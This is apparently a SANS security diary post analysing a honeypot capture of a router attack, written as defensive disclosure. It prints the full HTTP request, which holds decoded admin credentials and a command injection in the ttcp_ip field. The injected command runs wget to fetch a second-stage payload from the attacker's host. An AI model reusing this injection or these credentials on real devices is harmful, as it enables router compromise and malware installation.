Finally our honeypot did capture something that looks like it is responsible for the scanning activity we see:

The initial request, as discussed earlier, is:

Host: [ip of host]:8080
The next request is where it gets interesting:
POST /[withheld].cgi HTTP/1.1
Host: [ip of host]:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH    <- username: admin   password: &i1*@U$6xvcG (still trying to figure out the significance of this password)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 518
The decoded version of this request:
submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;if [ ! -e .L26 ];then wget http://[source IP]:193/0Rx.mid;fi`&StartEPI=1

So it looks like it will try to download a "second stage" from port 193 from the attacking router. I just got this request a couple minutes ago,  and haven't been able to retrieve the second stage yet, it may "go away" shortly after the attack. The ".L26" file appears to be a lock file to prevent multiple exploitation. 

I am withholding the full URL for now until I can figure out if there is a patch or if this is a public/known exploit.


Johannes B. Ullrich, Ph.D.
SANS Technology Institute

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